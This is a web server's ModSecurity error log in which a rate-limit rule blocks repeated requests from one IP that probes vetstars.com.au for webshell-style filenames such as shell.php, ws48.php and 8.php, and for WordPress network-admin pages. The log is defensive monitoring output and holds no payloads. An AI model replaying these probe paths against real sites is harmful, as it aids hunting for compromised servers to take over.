[Thu Apr 23 09:00:05.151563 2026] [:error] [pid 43083:tid 43089] [client 20.215.251.95:42312] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aelvFTC5hrvNXosL83L6vgAAAMQ"]
[Thu Apr 23 09:00:06.514107 2026] [:error] [pid 65000:tid 65042] [client 20.215.251.95:52308] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aelvFr6vRb9j6psK2ZbbmgAAAgk"]
[Thu Apr 23 09:00:08.108376 2026] [:error] [pid 59700:tid 59712] [client 20.215.251.95:49330] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aelvGJXyGZJFeAIDWtl9nQAAAUo"]
[Thu Apr 23 09:00:09.711795 2026] [:error] [pid 59700:tid 59703] [client 20.215.251.95:42341] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aelvGZXyGZJFeAIDWtl9oQAAAUE"]
[Thu Apr 23 09:00:12.131929 2026] [:error] [pid 64998:tid 65024] [client 20.215.251.95:38822] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aelvHIV5EysYcTLjmwhIJgAAAdY"]
[Thu Apr 23 09:00:13.882966 2026] [:error] [pid 64998:tid 65009] [client 20.215.251.95:64026] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aelvHYV5EysYcTLjmwhIPQAAAcc"]
[Thu Apr 23 09:00:14.716105 2026] [:error] [pid 65000:tid 65051] [client 20.215.251.95:47630] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aelvHr6vRb9j6psK2ZbbpQAAAhI"]
[Thu Apr 23 09:00:15.367193 2026] [:error] [pid 43083:tid 43106] [client 20.215.251.95:64040] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aelvHzC5hrvNXosL83L67wAAANU"]
[Thu Apr 23 09:00:16.467959 2026] [:error] [pid 65000:tid 65057] [client 20.215.251.95:51946] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aelvIL6vRb9j6psK2ZbbqwAAAhg"]
[Thu Apr 23 09:00:17.383928 2026] [:error] [pid 65000:tid 65037] [client 20.215.251.95:38882] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aelvIb6vRb9j6psK2ZbbsgAAAgQ"]
[Thu Apr 23 09:00:18.199311 2026] [:error] [pid 65000:tid 65043] [client 20.215.251.95:40761] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aelvIr6vRb9j6psK2ZbbtQAAAgo"]
[Thu Apr 23 09:00:20.065106 2026] [:error] [pid 65000:tid 65046] [client 20.215.251.95:55758] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aelvJL6vRb9j6psK2ZbbvQAAAg0"]
[Thu Apr 23 09:00:20.830905 2026] [:error] [pid 65000:tid 65054] [client 20.215.251.95:42746] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aelvJL6vRb9j6psK2ZbbwwAAAhU"]
[Thu Apr 23 09:00:22.322707 2026] [:error] [pid 25635:tid 25652] [client 20.215.251.95:55801] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aelvJsRxv6UsgRGKB3LvoAAAAQ0"]
[Thu Apr 23 09:00:23.106533 2026] [:error] [pid 42971:tid 43000] [client 20.215.251.95:55762] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws48.php"] [unique_id "aelvJzEP2_5RswrH8bHHqwAAAA4"]
[Thu Apr 23 09:00:24.261116 2026] [:error] [pid 42972:tid 43040] [client 20.215.251.95:47289] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws48.php"] [unique_id "aelvKMOAb-3sOknsk4c0RgAAAFg"]
[Thu Apr 23 09:00:25.526824 2026] [:error] [pid 43083:tid 43104] [client 20.215.251.95:38885] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws48.php"] [unique_id "aelvKTC5hrvNXosL83L6-wAAANM"]
[Thu Apr 23 09:00:26.674806 2026] [:error] [pid 43083:tid 43089] [client 20.215.251.95:40804] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws48.php"] [unique_id "aelvKjC5hrvNXosL83L7AgAAAMQ"]
[Thu Apr 23 09:00:27.534715 2026] [:error] [pid 43083:tid 43107] [client 20.215.251.95:47681] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aelvKzC5hrvNXosL83L7BAAAANY"]
[Thu Apr 23 09:00:28.228049 2026] [:error] [pid 64967:tid 64973] [client 20.215.251.95:47664] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aelvLIAV4GfOOdX8QzojQQAAAYQ"]
[Thu Apr 23 09:00:29.166007 2026] [:error] [pid 65000:tid 65051] [client 20.215.251.95:47710] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aelvLb6vRb9j6psK2ZbbxwAAAhI"]
[Thu Apr 23 09:00:30.163855 2026] [:error] [pid 42971:tid 43006] [client 20.215.251.95:38696] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aelvLjEP2_5RswrH8bHHugAAABQ"]
[Thu Apr 23 09:00:31.221467 2026] [:error] [pid 64998:tid 65019] [client 20.215.251.95:37788] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "aelvL4V5EysYcTLjmwhIXwAAAdE"]
[Thu Apr 23 09:00:32.050886 2026] [:error] [pid 64998:tid 65013] [client 20.215.251.95:38670] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "aelvMIV5EysYcTLjmwhIZAAAAcs"]
[Thu Apr 23 09:00:33.338129 2026] [:error] [pid 42972:tid 43023] [client 20.215.251.95:47694] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "aelvMcOAb-3sOknsk4c0SwAAAEc"]
[Thu Apr 23 09:00:34.272025 2026] [:error] [pid 42973:tid 43053] [client 20.215.251.95:55036] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "aelvMm6I0QqmmmLTHE3m9wAAAIo"]
[Thu Apr 23 09:00:36.776051 2026] [:error] [pid 42972:tid 43033] [client 20.215.251.95:40816] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aelvNMOAb-3sOknsk4c0TgAAAFE"]
[Thu Apr 23 09:00:38.587794 2026] [:error] [pid 42973:tid 43056] [client 20.215.251.95:37792] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aelvNm6I0QqmmmLTHE3m_QAAAI0"]
[Thu Apr 23 09:00:39.587953 2026] [:error] [pid 64998:tid 65011] [client 20.215.251.95:56149] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aelvN4V5EysYcTLjmwhIdAAAAck"]
[Thu Apr 23 09:00:40.490944 2026] [:error] [pid 42972:tid 43036] [client 20.215.251.95:37757] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aelvOMOAb-3sOknsk4c0UQAAAFQ"]
[Thu Apr 23 09:00:41.631065 2026] [:error] [pid 65000:tid 65042] [client 20.215.251.95:47683] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aelvOb6vRb9j6psK2Zbb0gAAAgk"]
[Thu Apr 23 09:00:42.993593 2026] [:error] [pid 64998:tid 65025] [client 20.215.251.95:50434] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aelvOoV5EysYcTLjmwhIfgAAAdc"]
[Thu Apr 23 09:01:31.520567 2026] [:error] [pid 64998:tid 65013] [client 20.215.251.95:5865] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aelva4V5EysYcTLjmwhJMAAAAcs"]
[Thu Apr 23 09:01:33.213896 2026] [:error] [pid 64998:tid 65019] [client 20.215.251.95:38973] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aelvbYV5EysYcTLjmwhJNAAAAdE"]
[Thu Apr 23 09:01:34.941482 2026] [:error] [pid 65000:tid 65057] [client 20.215.251.95:38405] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aelvbr6vRb9j6psK2ZbcHgAAAhg"]
[Thu Apr 23 09:01:36.159431 2026] [:error] [pid 64998:tid 65009] [client 20.215.251.95:38937] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aelvcIV5EysYcTLjmwhJPAAAAcc"]
[Thu Apr 23 09:01:37.742929 2026] [:error] [pid 64998:tid 65007] [client 20.215.251.95:38978] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aelvcYV5EysYcTLjmwhJRgAAAcU"]
[Thu Apr 23 09:01:38.843310 2026] [:error] [pid 65000:tid 65054] [client 20.215.251.95:51610] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aelvcr6vRb9j6psK2ZbcJQAAAhU"]
[Thu Apr 23 09:01:40.102962 2026] [:error] [pid 64998:tid 65004] [client 20.215.251.95:41190] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aelvdIV5EysYcTLjmwhJTQAAAcI"]
[Thu Apr 23 09:01:41.682443 2026] [:error] [pid 65000:tid 65032] [client 20.215.251.95:38952] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aelvdb6vRb9j6psK2ZbcKQAAAgM"]
[Thu Apr 23 09:01:43.191643 2026] [:error] [pid 64998:tid 65008] [client 20.215.251.95:39580] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "aelvd4V5EysYcTLjmwhJVQAAAcY"]
[Thu Apr 23 09:01:44.510407 2026] [:error] [pid 64998:tid 65009] [client 20.215.251.95:39611] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "aelveIV5EysYcTLjmwhJXQAAAcc"]
[Thu Apr 23 09:01:45.842974 2026] [:error] [pid 42973:tid 43058] [client 20.215.251.95:43818] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "aelveW6I0QqmmmLTHE3nFgAAAI8"]
[Thu Apr 23 09:01:47.614636 2026] [:error] [pid 43083:tid 43088] [client 20.215.251.95:43779] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "aelvezC5hrvNXosL83L7aQAAAMM"]
[Thu Apr 23 09:01:49.600696 2026] [:error] [pid 64967:tid 64990] [client 20.215.251.95:57103] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "aelvfYAV4GfOOdX8QzojXgAAAZU"]
[Thu Apr 23 09:01:51.792961 2026] [:error] [pid 64998:tid 65014] [client 20.215.251.95:43821] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "aelvf4V5EysYcTLjmwhJsAAAAcw"]
[Thu Apr 23 09:01:53.511777 2026] [:error] [pid 64998:tid 65022] [client 20.215.251.95:40427] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "aelvgYV5EysYcTLjmwhJvgAAAdQ"]
[Thu Apr 23 09:01:55.003734 2026] [:error] [pid 59700:tid 59712] [client 20.215.251.95:39587] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "aelvg5XyGZJFeAIDWtl-MQAAAUo"]
[Thu Apr 23 09:01:56.024329 2026] [:error] [pid 65000:tid 65037] [client 20.215.251.95:48935] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aelvhL6vRb9j6psK2ZbcPgAAAgQ"]
[Thu Apr 23 09:01:57.817474 2026] [:error] [pid 25635:tid 25661] [client 20.215.251.95:37943] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aelvhcRxv6UsgRGKB3Lv5wAAARY"]
[Thu Apr 23 09:01:59.478495 2026] [:error] [pid 43083:tid 43104] [client 20.215.251.95:56238] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aelvhzC5hrvNXosL83L7fAAAANM"]
[Thu Apr 23 09:02:00.412732 2026] [:error] [pid 43083:tid 43101] [client 20.215.251.95:43829] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aelviDC5hrvNXosL83L7gAAAANA"]
[Thu Apr 23 09:02:02.022573 2026] [:error] [pid 25635:tid 25659] [client 20.215.251.95:43798] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aelvisRxv6UsgRGKB3Lv6QAAARQ"]
[Thu Apr 23 09:02:03.543429 2026] [:error] [pid 64967:tid 64986] [client 20.215.251.95:5168] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aelvi4AV4GfOOdX8QzojYwAAAZE"]
[Thu Apr 23 09:02:04.789182 2026] [:error] [pid 64998:tid 65014] [client 20.215.251.95:38005] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aelvjIV5EysYcTLjmwhJxgAAAcw"]
[Thu Apr 23 09:02:06.020846 2026] [:error] [pid 64998:tid 65008] [client 20.215.251.95:57119] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aelvjoV5EysYcTLjmwhJyAAAAcY"]
